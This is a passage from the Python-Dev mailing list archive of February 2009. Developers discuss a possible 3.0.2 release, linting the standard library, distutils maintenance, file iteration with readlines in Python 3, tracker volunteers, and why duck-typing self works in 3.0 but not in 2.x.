>>>> part of the stdlib didn't have enough test coverage. It seems that having
>>>> very good/improving test coverage like is recommended  for 3rd-party project
>>>> wanting to switch would be a good goal for 3.0 evolution too. We know from
>>>> PyPy experience that while always improving the test suite coverage is quite
>>>> spotty at times.
>>>
>>> No, a test didn't fail. Our new distutils maintainer, Tarek Ziade,
>>> though, has been increasing the distutils test coverage greatly.
>>
>> In addition to testing, this specific issue could have been found easily by
>> running something like pylint over the stdlib, because undefined globals
>> are one of the things they can detect with 100% accuracy...
> 
> Oh, does pylint support py3k now?

I think you may have a point there, though I honestly don't know.

Georg

-- 
Thus spake the Lord: Thou shalt indent with four spaces. No more, no less.
Four shall be the number of spaces thou shalt indent, and the number of thy
indenting shall be four. Eight shalt thou not indent, nor either indent thou
two, excepting that thou then proceed to four. Tabs are right out.


From ncoghlan at gmail.com  Wed Feb 18 12:06:21 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Wed, 18 Feb 2009 21:06:21 +1000
Subject: [Python-Dev] To 3.0.2 or not to 3.0.2?
In-Reply-To: <gngjj9$873$1@ger.gmane.org>
References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com>	<ca471dc20902161550i4b092500j33ff7ad13736b169@mail.gmail.com>	<319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com>	<200902171000.30304.victor.stinner@haypocalc.com>	<499A9EB6.3020802@openend.se>	<1afaf6160902170620u1c3604dcs4f6d1e6da7176f2f@mail.gmail.com>	<gnf8le$jpo$1@ger.gmane.org>	<1afaf6160902171600t2e7e9ae2x4abe1e840900c4cb@mail.gmail.com>
	<gngjj9$873$1@ger.gmane.org>
Message-ID: <499BEBAD.7090101@gmail.com>

Georg Brandl wrote:
> Benjamin Peterson schrieb:
>> Oh, does pylint support py3k now?
> 
> I think you may have a point there, though I honestly don't know.

I think it's a useful point in general - keeping something like pylint
or pychecker running correctly against the CPython trunk could be a
frustrating exercise on those occasions when we do change something that
the static checker then chokes on (mainly thinking syntax changes here -
they're obviously by far the minority of changes, but they do happen).

Perhaps I'm being overly pessimistic, but my suspicion is that it would
end up being tantamount to bringing whichever tool we decided to use
into the standard library just to keep our own source tree passing cleanly.

Cheers,
Nick.


-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From barry at python.org  Wed Feb 18 12:28:42 2009
From: barry at python.org (Barry Warsaw)
Date: Wed, 18 Feb 2009 06:28:42 -0500
Subject: [Python-Dev] Python 2.6.2 and 3.0.2
In-Reply-To: <bbaeab100902172249s4fa3f207t3c8dbeebe61b3300@mail.gmail.com>
References: <F846D44C-E732-4244-81FB-91A08F555F46@python.org>
	<bbaeab100902172249s4fa3f207t3c8dbeebe61b3300@mail.gmail.com>
Message-ID: <1C1FBEAE-AEF2-4A6E-8AB6-836E686EC637@python.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Feb 18, 2009, at 1:49 AM, Brett Cannon wrote:

> If there are really enough fixes to warrant it, sure. Otherwise  
> would it be
> worth more to just wait until after PyCon where there is a bigger  
> chance of
> fixed issues?

Good point.
Barry

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (Darwin)

iQCVAwUBSZvw6nEjvBPtnXfVAQLIegP/evDYDpH981WjgjPJJbY6Up2NRHAAScM6
V8l1CZbQxjqjokz3xRi8X65nn7Qx8acWN51wn5tG3u9YmCDci4u3Geu0NtV5uEOK
7aZ4WxkGGXUTPaeVS1NCPo37UPN/px24TpYLvIy0v6ngv7EzL5lIsBLS7V8lsh4v
qzi3LuhbV0o=
=CaLE
-----END PGP SIGNATURE-----

From guido at python.org  Wed Feb 18 16:30:05 2009
From: guido at python.org (Guido van Rossum)
Date: Wed, 18 Feb 2009 07:30:05 -0800
Subject: [Python-Dev] To 3.0.2 or not to 3.0.2?
In-Reply-To: <499BEBAD.7090101@gmail.com>
References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com>
	<ca471dc20902161550i4b092500j33ff7ad13736b169@mail.gmail.com>
	<319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com>
	<200902171000.30304.victor.stinner@haypocalc.com>
	<499A9EB6.3020802@openend.se>
	<1afaf6160902170620u1c3604dcs4f6d1e6da7176f2f@mail.gmail.com>
	<gnf8le$jpo$1@ger.gmane.org>
	<1afaf6160902171600t2e7e9ae2x4abe1e840900c4cb@mail.gmail.com>
	<gngjj9$873$1@ger.gmane.org> <499BEBAD.7090101@gmail.com>
Message-ID: <ca471dc20902180730y59cbac4dj23d5b862d85388cc@mail.gmail.com>

On Wed, Feb 18, 2009 at 3:06 AM, Nick Coghlan <ncoghlan at gmail.com> wrote:
> Georg Brandl wrote:
>> Benjamin Peterson schrieb:
>>> Oh, does pylint support py3k now?
>>
>> I think you may have a point there, though I honestly don't know.
>
> I think it's a useful point in general - keeping something like pylint
> or pychecker running correctly against the CPython trunk could be a
> frustrating exercise on those occasions when we do change something that
> the static checker then chokes on (mainly thinking syntax changes here -
> they're obviously by far the minority of changes, but they do happen).
>
> Perhaps I'm being overly pessimistic, but my suspicion is that it would
> end up being tantamount to bringing whichever tool we decided to use
> into the standard library just to keep our own source tree passing cleanly.

This prompts a wild idea -- perhaps the framework of 2to3 could be
reused to create a new linter?

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From ziade.tarek at gmail.com  Wed Feb 18 16:56:52 2009
From: ziade.tarek at gmail.com (=?ISO-8859-1?Q?Tarek_Ziad=E9?=)
Date: Wed, 18 Feb 2009 16:56:52 +0100
Subject: [Python-Dev] To 3.0.2 or not to 3.0.2?
In-Reply-To: <gnf8le$jpo$1@ger.gmane.org>
References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com>
	<ca471dc20902161550i4b092500j33ff7ad13736b169@mail.gmail.com>
	<319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com>
	<200902171000.30304.victor.stinner@haypocalc.com>
	<499A9EB6.3020802@openend.se>
	<1afaf6160902170620u1c3604dcs4f6d1e6da7176f2f@mail.gmail.com>
	<gnf8le$jpo$1@ger.gmane.org>
Message-ID: <94bdd2610902180756t75f1d3f2t72c0e739638dda5c@mail.gmail.com>

2009/2/17 Georg Brandl <g.brandl at gmx.net>:
> Benjamin Peterson schrieb:
>> On Tue, Feb 17, 2009 at 5:25 AM, Samuele Pedroni <pedronis at openend.se> wrote:
>>> Didn't a test fail because of this? seems the underlying issue is that this
>>> part of the stdlib didn't have enough test coverage. It seems that having
>>> very good/improving test coverage like is recommended  for 3rd-party project
>>> wanting to switch would be a good goal for 3.0 evolution too. We know from
>>> PyPy experience that while always improving the test suite coverage is quite
>>> spotty at times.
>>
>> No, a test didn't fail. Our new distutils maintainer, Tarek Ziade,
>> though, has been increasing the distutils test coverage greatly.

I'll add one in that area.

Note that I am also planning to:

 - remove in the current trunk things like cmp() so the code looks
similar in trunk and py3k
  -> so if you change something in py3k branch in distutils, if you
have time please backport it to the trunk
      right away when appliable

- release Distutils at PyPI on its own, (stable releases, and dev
releases) following Marc-Andr? suggestion.
  this will use externals, (see http://svn.python.org/projects/distutils/trunk/)

So it should be simpler to work things out between two Python releases

Regards
Tarek

From MLMLists at Comcast.net  Wed Feb 18 18:42:06 2009
From: MLMLists at Comcast.net (Mitchell L Model)
Date: Wed, 18 Feb 2009 12:42:06 -0500
Subject: [Python-Dev] lifting of prohibition against readlines inside a "for
 line in file" in Py3?
Message-ID: <p06240802c5c1f6b5a4cc@[10.0.1.221]>

In Digest Vol. 67, Issue 52 (13 Feb 2009) I pointed out that Python 
2's prohibition against performing readlines on a file being iterated 
over appears to have been lifted in Python 3. I asked if this was 
intentional and whether it should be add to the "What's New" 
documentation.  I also expressed muy surprise that "for line in 
fil"'s can be nested using the same fil in both Python 2 and 3. I 
presented an example for each point and some and further comments.

I didn't get any response. Is this the wrong list for the question? 
Did appropriate responders assume another would respond? I want to 
reraise this because lifting of that prohibition is a quite 
significant change in the behavior from Python 2. Even if it ws a bug 
in Python 2, or the side effect of other changes in Python 3, it 
should at least be documented prominently. True, no-one's code will 
be affected by lifting a prohibition against something their code 
couldn't have done, but the new behavior offers significant 
flexibility in writing "for line in fil" iterations in that it allows 
recognizing the beginning of a sequence of lines that should be 
considered a unified "chunk" and allows the loop to do readlines to 
handle the rest of the chunk. Some of these can be handled by just 
nesting a second "for line in fil" inside a conditional inside the 
outer iteration but some are better handled by individual readlines.

I'd appreciate comments -- especially a redirection to a different 
list, if this one isn't appropriate for my query.

From leif.walsh at gmail.com  Wed Feb 18 19:55:19 2009
From: leif.walsh at gmail.com (Leif Walsh)
Date: Wed, 18 Feb 2009 13:55:19 -0500
Subject: [Python-Dev] lifting of prohibition against readlines inside a
	"for line in file" in Py3?
In-Reply-To: <p06240802c5c1f6b5a4cc@10.0.1.221>
References: <p06240802c5c1f6b5a4cc@10.0.1.221>
Message-ID: <cc7430500902181055v13e62cbfj469834dadd79752f@mail.gmail.com>

On Wed, Feb 18, 2009 at 12:42 PM, Mitchell L Model <MLMLists at comcast.net> wrote:
> I'd appreciate comments -- especially a redirection to a different list, if
> this one isn't appropriate for my query.

It seems as though you have the right list, but perhaps whoever knows
about the change is busy, or maybe several people that don't know
about the change are trying to find it.

If there's something in particular that you need answered in a
specific timeframe, I don't know what to tell you, but if it's like it
seems, and you're just raising the issue, I think you can trust that
someone will get to it eventually.

-- 
Cheers,
Leif

From benjamin at python.org  Wed Feb 18 20:48:17 2009
From: benjamin at python.org (Benjamin Peterson)
Date: Wed, 18 Feb 2009 13:48:17 -0600
Subject: [Python-Dev] To 3.0.2 or not to 3.0.2?
In-Reply-To: <ca471dc20902180730y59cbac4dj23d5b862d85388cc@mail.gmail.com>
References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com>
	<319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com>
	<200902171000.30304.victor.stinner@haypocalc.com>
	<499A9EB6.3020802@openend.se>
	<1afaf6160902170620u1c3604dcs4f6d1e6da7176f2f@mail.gmail.com>
	<gnf8le$jpo$1@ger.gmane.org>
	<1afaf6160902171600t2e7e9ae2x4abe1e840900c4cb@mail.gmail.com>
	<gngjj9$873$1@ger.gmane.org> <499BEBAD.7090101@gmail.com>
	<ca471dc20902180730y59cbac4dj23d5b862d85388cc@mail.gmail.com>
Message-ID: <1afaf6160902181148u6b2b6bfk86711c87f05a6804@mail.gmail.com>

On Wed, Feb 18, 2009 at 9:30 AM, Guido van Rossum <guido at python.org> wrote:
> This prompts a wild idea -- perhaps the framework of 2to3 could be
> reused to create a new linter?

The 2to3 syntax tree is probably two low-level for that. It's good for
simple isolated transformations like print, but not so much for the
larger scale analysis that a lint tool would require. In addition,
we'd have to write some sort of symtable analyzer. High level AST is
much nicer to work with that.



-- 
Regards,
Benjamin

From sylvain.thenault at logilab.fr  Wed Feb 18 21:21:54 2009
From: sylvain.thenault at logilab.fr (Sylvain =?iso-8859-1?q?Th=E9nault?=)
Date: Wed, 18 Feb 2009 21:21:54 +0100
Subject: [Python-Dev] To 3.0.2 or not to 3.0.2?
In-Reply-To: <1afaf6160902181148u6b2b6bfk86711c87f05a6804@mail.gmail.com>
References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com>
	<ca471dc20902180730y59cbac4dj23d5b862d85388cc@mail.gmail.com>
	<1afaf6160902181148u6b2b6bfk86711c87f05a6804@mail.gmail.com>
Message-ID: <200902182121.55123.sylvain.thenault@logilab.fr>

Le Wednesday 18 February 2009 20:48:17 Benjamin Peterson, vous avez ?crit?:
> On Wed, Feb 18, 2009 at 9:30 AM, Guido van Rossum <guido at python.org> wrote:
> > This prompts a wild idea -- perhaps the framework of 2to3 could be
> > reused to create a new linter?
>
> The 2to3 syntax tree is probably two low-level for that. It's good for
> simple isolated transformations like print, but not so much for the
> larger scale analysis that a lint tool would require. In addition,
> we'd have to write some sort of symtable analyzer. High level AST is
> much nicer to work with that.

FYI, we (logilab) are curently working on providing a compatibility layer 
between _ast and compiler to get pylint working on py3k, py >= 2.6 and py <= 
2.5. There are some tree structure incompatibility between them which makes 
the thing not trivial but I hope we'll get somewhere soon. Of course any help 
is welcome :)

-- 
Sylvain Th?nault                               LOGILAB, Paris (France)
Formations Python, Zope, Plone, Debian:  http://www.logilab.fr/formations
D?veloppement logiciel sur mesure:       http://www.logilab.fr/services
Python et calcul scientifique:           http://www.logilab.fr/science

From ncoghlan at gmail.com  Wed Feb 18 22:19:58 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Thu, 19 Feb 2009 07:19:58 +1000
Subject: [Python-Dev] lifting of prohibition against readlines inside a
 "for line in file" in Py3?
In-Reply-To: <p06240802c5c1f6b5a4cc@[10.0.1.221]>
References: <p06240802c5c1f6b5a4cc@[10.0.1.221]>
Message-ID: <499C7B7E.5080005@gmail.com>

Mitchell L Model wrote:
> I didn't get any response. Is this the wrong list for the question? Did
> appropriate responders assume another would respond?

Probably the latter (I know I left it to those that had more to do with
the IO stack rewrite). This is definitely the right list for the question.

> I want to reraise
> this because lifting of that prohibition is a quite significant change
> in the behavior from Python 2. Even if it ws a bug in Python 2, or the
> side effect of other changes in Python 3, it should at least be
> documented prominently. True, no-one's code will be affected by lifting
> a prohibition against something their code couldn't have done, but the
> new behavior offers significant flexibility in writing "for line in fil"
> iterations in that it allows recognizing the beginning of a sequence of
> lines that should be considered a unified "chunk" and allows the loop to
> do readlines to handle the rest of the chunk. Some of these can be
> handled by just nesting a second "for line in fil" inside a conditional
> inside the outer iteration but some are better handled by individual
> readlines.
> 
> I'd appreciate comments -- especially a redirection to a different list,
> if this one isn't appropriate for my query.

I *think* the 2.x system had an internal buffer that was used by the
file iterator, but not by the file methods. With the new IO stack for
3.0, there is now a common buffer shared by all the file operations
(including iteration).

However, given that the lifting of the restriction is currently
undocumented, I wouldn't want to see a commitment to keeping it lifted
until we know that it won't cause any problems for the io-in-c rewrite
for 3.1 (hopefully someone with more direct involvement with that
rewrite will chime in, since they'll know a lot more about it than I do).

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From solipsis at pitrou.net  Wed Feb 18 22:25:59 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Wed, 18 Feb 2009 21:25:59 +0000 (UTC)
Subject: [Python-Dev] lifting of prohibition against readlines inside a
	"for line in file" in Py3?
References: <p06240802c5c1f6b5a4cc@[10.0.1.221]> <499C7B7E.5080005@gmail.com>
Message-ID: <loom.20090218T212332-634@post.gmane.org>


Hello,

Nick Coghlan <ncoghlan <at> gmail.com> writes:
> 
> I *think* the 2.x system had an internal buffer that was used by the
> file iterator, but not by the file methods. With the new IO stack for
> 3.0, there is now a common buffer shared by all the file operations
> (including iteration).
> 
> However, given that the lifting of the restriction is currently
> undocumented, I wouldn't want to see a commitment to keeping it lifted
> until we know that it won't cause any problems for the io-in-c rewrite
> for 3.1 (hopefully someone with more direct involvement with that
> rewrite will chime in, since they'll know a lot more about it than I do).

As you said, there is no special buffering for the file iterator in 3.x, which
means the restriction could be lifted (actually there is nothing relying on this
restriction in the current code, except perhaps the "telling" flag in
TextIOWrapper).

Regards

Antoine.



From tjreedy at udel.edu  Wed Feb 18 22:37:34 2009
From: tjreedy at udel.edu (Terry Reedy)
Date: Wed, 18 Feb 2009 16:37:34 -0500
Subject: [Python-Dev] lifting of prohibition against readlines inside a
 "for line in file" in Py3?
In-Reply-To: <p06240802c5c1f6b5a4cc@[10.0.1.221]>
References: <p06240802c5c1f6b5a4cc@[10.0.1.221]>
Message-ID: <gnhv2q$cjl$1@ger.gmane.org>

Mitchell L Model wrote:
> In Digest Vol. 67, Issue 52 (13 Feb 2009) I pointed out that Python 2's 
> prohibition against performing readlines on a file being iterated over 
> appears to have been lifted in Python 3. I asked if this was intentional 
> and whether it should be add to the "What's New" documentation.  I also 
> expressed muy surprise that "for line in fil"'s can be nested using the 
> same fil in both Python 2 and 3. I presented an example for each point 
> and some and further comments.

If I understand, you are asking whether the new behavior is an 
undocumented new feature that you can use or an error that may be 
reverted.  It is possible that it is an accident and there is no answer 
yet decided.

I suspect your original query got lost in the shuffle.  If you do not 
get an answer this time, file an issue on the tracker bugs.python.org 
but do not select whether it is a behavior or doc issue. At least, it 
will stay open until resolved.

tjr


From martin at v.loewis.de  Wed Feb 18 22:38:30 2009
From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=)
Date: Wed, 18 Feb 2009 22:38:30 +0100
Subject: [Python-Dev] Tracker cleanup roadmap
In-Reply-To: <a3b05e8b0902180040w255cafe9l7ff9f9ca342553e1@mail.gmail.com>
References: <2d75d7660902161920g61c83d5btdcaf831ee6b04fa@mail.gmail.com>	<499A721E.4060007@v.loewis.de>
	<a3b05e8b0902180040w255cafe9l7ff9f9ca342553e1@mail.gmail.com>
Message-ID: <499C7FD6.7020704@v.loewis.de>

> I have been mostly a silent spectator around and would like to chip in.
> Need some initial throttle(help) for the full-fledged attack :)

Please take a look at the meta tracker. It has various open issues, many
open for many months now. Please tackle one that can be fixed through
patches to the tracker instance preferably; changes to roundup are also
acceptable in principle. If some changes require some admin activity,
discuss on tracker-discuss what actions would be required.

Regards,
Martin

From martin at v.loewis.de  Wed Feb 18 22:43:27 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 18 Feb 2009 22:43:27 +0100
Subject: [Python-Dev] To 3.0.2 or not to 3.0.2?
In-Reply-To: <94bdd2610902180756t75f1d3f2t72c0e739638dda5c@mail.gmail.com>
References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com>	<ca471dc20902161550i4b092500j33ff7ad13736b169@mail.gmail.com>	<319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com>	<200902171000.30304.victor.stinner@haypocalc.com>	<499A9EB6.3020802@openend.se>	<1afaf6160902170620u1c3604dcs4f6d1e6da7176f2f@mail.gmail.com>	<gnf8le$jpo$1@ger.gmane.org>
	<94bdd2610902180756t75f1d3f2t72c0e739638dda5c@mail.gmail.com>
Message-ID: <499C80FF.8040500@v.loewis.de>

>   this will use externals, (see http://svn.python.org/projects/distutils/trunk/)

This I don't understand. There is file named EXTERNALS.txt, but I don't
understand its purpose.

Regards,
Martin

From ziade.tarek at gmail.com  Wed Feb 18 23:01:11 2009
From: ziade.tarek at gmail.com (=?ISO-8859-1?Q?Tarek_Ziad=E9?=)
Date: Wed, 18 Feb 2009 23:01:11 +0100
Subject: [Python-Dev] To 3.0.2 or not to 3.0.2?
In-Reply-To: <499C80FF.8040500@v.loewis.de>
References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com>
	<ca471dc20902161550i4b092500j33ff7ad13736b169@mail.gmail.com>
	<319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com>
	<200902171000.30304.victor.stinner@haypocalc.com>
	<499A9EB6.3020802@openend.se>
	<1afaf6160902170620u1c3604dcs4f6d1e6da7176f2f@mail.gmail.com>
	<gnf8le$jpo$1@ger.gmane.org>
	<94bdd2610902180756t75f1d3f2t72c0e739638dda5c@mail.gmail.com>
	<499C80FF.8040500@v.loewis.de>
Message-ID: <94bdd2610902181401j6a327371m254643e7453a3ec0@mail.gmail.com>

2009/2/18 "Martin v. L?wis" <martin at v.loewis.de>:
>>   this will use externals, (see http://svn.python.org/projects/distutils/trunk/)
>
> This I don't understand. There is file named EXTERNALS.txt, but I don't
> understand its purpose.

This is how I work with externals. This file is used to store the
svn:externals property
and have it in a clear human readable text filethat can be seen in any
svn viewer.

If I need to change the externals I change this file and do:

$ svn propset svn:externals -F EXTERNALS.txt
$ svn ci . EXTERNALS.txt -m "comment"

then, if you do a checkout of
http://svn.python.org/projects/distutils/trunk it will
grab Python's Lib/distutils.

Let me know if this is not wanted. I can drop it it's no big deal.

Regards
Tarek

>
> Regards,
> Martin
>



-- 
Tarek Ziad? | Association AfPy | www.afpy.org
Blog FR | http://programmation-python.org
Blog EN | http://tarekziade.wordpress.com/

From martin at v.loewis.de  Wed Feb 18 23:09:56 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 18 Feb 2009 23:09:56 +0100
Subject: [Python-Dev] To 3.0.2 or not to 3.0.2?
In-Reply-To: <94bdd2610902181401j6a327371m254643e7453a3ec0@mail.gmail.com>
References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com>	
	<ca471dc20902161550i4b092500j33ff7ad13736b169@mail.gmail.com>	
	<319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com>	
	<200902171000.30304.victor.stinner@haypocalc.com>	
	<499A9EB6.3020802@openend.se>	
	<1afaf6160902170620u1c3604dcs4f6d1e6da7176f2f@mail.gmail.com>	
	<gnf8le$jpo$1@ger.gmane.org>	
	<94bdd2610902180756t75f1d3f2t72c0e739638dda5c@mail.gmail.com>	
	<499C80FF.8040500@v.loewis.de>
	<94bdd2610902181401j6a327371m254643e7453a3ec0@mail.gmail.com>
Message-ID: <499C8734.7080306@v.loewis.de>

> Let me know if this is not wanted. I can drop it it's no big deal.

That is fine with me. I was worried that you might have made
Lib/distutils external, which I would not have liked.

Regards,
Martin

From ajaksu at gmail.com  Wed Feb 18 23:34:14 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Wed, 18 Feb 2009 19:34:14 -0300
Subject: [Python-Dev] Tracker cleanup roadmap
In-Reply-To: <a3b05e8b0902180040w255cafe9l7ff9f9ca342553e1@mail.gmail.com>
References: <2d75d7660902161920g61c83d5btdcaf831ee6b04fa@mail.gmail.com>
	<499A721E.4060007@v.loewis.de>
	<a3b05e8b0902180040w255cafe9l7ff9f9ca342553e1@mail.gmail.com>
Message-ID: <2d75d7660902181434u6dba8378tc3f693678b9ca6ff@mail.gmail.com>

Hi Venkatraman,

Venkatraman S wrote:
>
> On Tue, Feb 17, 2009 at 1:45 PM, "Martin v. L?wis" <martin at v.loewis.de> wrote:
>>
>> Don't expect too much
>> help from other people - I have been waiting for volunteers to show up
>> helping with the tracker for more than a year now.
>
> I have been mostly a silent spectator around and would like to chip in.

Great! Thanks for joining us :)
What would you like to help with? Anyway, let's move this thread to
tracker-discuss :)

> Need some initial throttle(help) for the full-fledged attack :)

Well, I'm currently updating the TrackerDevelopment[1] article and
trying to make the initial setup easier. These should help a bit, but
I'd be glad to (try to) answer any questions you have. Please let me
know (or mail tracker-discuss[2]) if something on the guide isn't
clear (you can, of course, edit it directly).

"Martin v. L?wis" wrote:
> Please take a look at the meta tracker. It has various open issues, many
> open for many months now. Please tackle one that can be fixed through
> patches to the tracker instance preferably; changes to roundup are also
> acceptable in principle.

Agreed, if you want to get to know the code and at the same time work
on something useful, taking a look at the meta tracker[3] is a great
first step.

Welcome aboard!

Daniel

[1] http://wiki.python.org/moin/TrackerDevelopment
[2] http://mail.python.org/mailman/listinfo/tracker-discuss
[3] http://psf.upfronthosting.co.za/roundup/meta/ :)

From srittau at jroger.in-berlin.de  Wed Feb 18 23:32:09 2009
From: srittau at jroger.in-berlin.de (Sebastian Rittau)
Date: Wed, 18 Feb 2009 23:32:09 +0100
Subject: [Python-Dev] Duck-typing self
Message-ID: <20090218223209.GA5978@jroger.in-berlin.de>

Hi!

I am curious why the following will not work in Python:

  class foo(object):
      def bar(self):
          print self.attr
          
  class duck(object):
      attr = 3.14
  
  foo.bar(duck())

Is it a design decision that duck-typing self does not work or is there a
technical reason? From a practical standpoint it seems that being able to
duck-type self has merit, for example in unit testing complex classes.

 - Sebastian

From steven.bethard at gmail.com  Thu Feb 19 00:30:14 2009
From: steven.bethard at gmail.com (Steven Bethard)
Date: Wed, 18 Feb 2009 15:30:14 -0800
Subject: [Python-Dev] Duck-typing self
In-Reply-To: <20090218223209.GA5978@jroger.in-berlin.de>
References: <20090218223209.GA5978@jroger.in-berlin.de>
Message-ID: <d11dcfba0902181530g4f362af5o58eefd9e905e5700@mail.gmail.com>

On Wed, Feb 18, 2009 at 2:32 PM, Sebastian Rittau
<srittau at jroger.in-berlin.de> wrote:
> Hi!
>
> I am curious why the following will not work in Python:
>
>  class foo(object):
>      def bar(self):
>          print self.attr
>
>  class duck(object):
>      attr = 3.14
>
>  foo.bar(duck())
>
> Is it a design decision that duck-typing self does not work or is there a
> technical reason? From a practical standpoint it seems that being able to
> duck-type self has merit, for example in unit testing complex classes.

Works for me in 3.0:

Python 3.1a0 (py3k:69082, Jan 28 2009, 19:22:10) [MSC v.1500 32 bit
(Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> class Foo(object):
...     def bar(self):
...         print(self.attr)
...
>>> class Duck(object):
...     attr = 3.14
...
>>> Foo.bar(Duck())
3.14

Steve
-- 
I'm not *in*-sane. Indeed, I am so far *out* of sane that you appear a
tiny blip on the distant coast of sanity.
        --- Bucky Katt, Get Fuzzy

From lists at cheimes.de  Thu Feb 19 01:50:37 2009
From: lists at cheimes.de (Christian Heimes)
Date: Thu, 19 Feb 2009 01:50:37 +0100
Subject: [Python-Dev] Duck-typing self
In-Reply-To: <d11dcfba0902181530g4f362af5o58eefd9e905e5700@mail.gmail.com>
References: <20090218223209.GA5978@jroger.in-berlin.de>
	<d11dcfba0902181530g4f362af5o58eefd9e905e5700@mail.gmail.com>
Message-ID: <gniact$f96$1@ger.gmane.org>

Steven Bethard wrote:
>> Is it a design decision that duck-typing self does not work or is there a
>> technical reason? From a practical standpoint it seems that being able to
>> duck-type self has merit, for example in unit testing complex classes.
> 
> Works for me in 3.0:

It works in 3.0 because we have lifted some restrictions (and increased
speed as a neat side effect). In Python 2.x the type checking speed with
negligible, but Python 3's abc system with the new __instancecheck__()
and __subclasscheck__() hooks are a real speed drain.

In 2.x a class objects wrap their functions in a method wrapper. The
method wrapper does the type check. You can get around the type check by
using the im_func attribute of the method wrapper.

Python 2.5.2 (r252:60911, Oct  5 2008, 19:29:17)
[GCC 4.3.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> class Foo(object):
...     def bar(self):
...         print(self.attr)
...
>>> Foo.bar
<unbound method Foo.bar>
>>> class Duck(object):
...     attr = "python"
...
>>> Foo.bar(Duck())
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: unbound method bar() must be called with Foo instance as
first argument (got Duck instance instead)
>>> Foo.bar.im_func
<function bar at 0x7f6ec83a01b8>
>>> Foo.bar.im_func(Duck())
python


In 3.0 the unbound method wrapper is gone and class objects return the
pure function. Without the type checking of the unbound method wrapper
the restriction is gone.

Python 3.0.1 (r301:69655, Feb 15 2009, 23:28:13)
[GCC 4.3.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> class Foo(object):
...     def bar(self):
...         print(self.attr)
...
>>> Foo.bar
<function bar at 0x7f0f747666b0>
>>> class Duck(object):
...     attr = "python"
...
>>> Foo.bar(Duck())
python

HTH
Christian


From greg.ewing at canterbury.ac.nz  Thu Feb 19 02:39:07 2009
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Thu, 19 Feb 2009 14:39:07 +1300
Subject: [Python-Dev] Duck-typing self
In-Reply-To: <20090218223209.GA5978@jroger.in-berlin.de>
References: <20090218223209.GA5978@jroger.in-berlin.de>
Message-ID: <499CB83B.8060907@canterbury.ac.nz>

Sebastian Rittau wrote:

> Is it a design decision that duck-typing self does not work or is there a
> technical reason?

There's no technical reason as far as user-defined
classes are concerned. I think it was introduced to
help catch errors due to making inherited method
calls to the wrong class, which can easily happen
if you change the base class of a class and forget
to update all of the inherited calls to match.

I believe this type check has been removed in 3.0,
so duck-typing of self is possible there.

-- 
Greg

From greg.ewing at canterbury.ac.nz  Thu Feb 19 02:48:51 2009
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Thu, 19 Feb 2009 14:48:51 +1300
Subject: [Python-Dev] Duck-typing self
In-Reply-To: <gniact$f96$1@ger.gmane.org>
References: <20090218223209.GA5978@jroger.in-berlin.de>
	<d11dcfba0902181530g4f362af5o58eefd9e905e5700@mail.gmail.com>
	<gniact$f96$1@ger.gmane.org>
Message-ID: <499CBA83.8040306@canterbury.ac.nz>

Christian Heimes wrote:

> In 2.x a class objects wrap their functions in a method wrapper. The
> method wrapper does the type check. You can get around the type check by
> using the im_func attribute of the method wrapper.

You could probably also create a decorator that
gives you something behaving like an unbound
method but without the type check (implementation
details left to the reader).

-- 
Greg

From mike.klaas at gmail.com  Thu Feb 19 02:53:52 2009
From: mike.klaas at gmail.com (Mike Klaas)
Date: Wed, 18 Feb 2009 17:53:52 -0800
Subject: [Python-Dev] a nicer looking dir()
Message-ID: <FF724061-0832-4B8C-B6FD-A39F220CE30A@gmail.com>

Someone has implemented a version of dir() which is much nicer for  
human consumption.  The difference is striking enough that I thought  
it would be bringing to python-dev's attention.

http://github.com/inky/see/tree/master

 >>> pencil_case = []
 >>> dir(pencil_case)
['__add__', '__class__', '__contains__', '__delattr__', '__delitem__',  
'__delsli ce__', '__doc__', '__eq__', '__ge__', '__getattribute__',  
'__getitem__', '__gets lice__', '__gt__', '__hash__', '__iadd__',  
'__imul__', '__init__', '__iter__', ' __le__', '__len__', '__lt__',  
'__mul__', '__ne__', '__new__', '__reduce__', '__r educe_ex__',  
'__repr__', '__reversed__', '__rmul__', '__setattr__', '__setitem__ ',  
'__setslice__', '__str__', 'append', 'count', 'extend', 'index',  
'insert', 'p op', 'remove', 'reverse', 'sort']
 >>> see(pencil_case)

  ? [] for in + * += *= < <= == != > >= len() .append() .count()

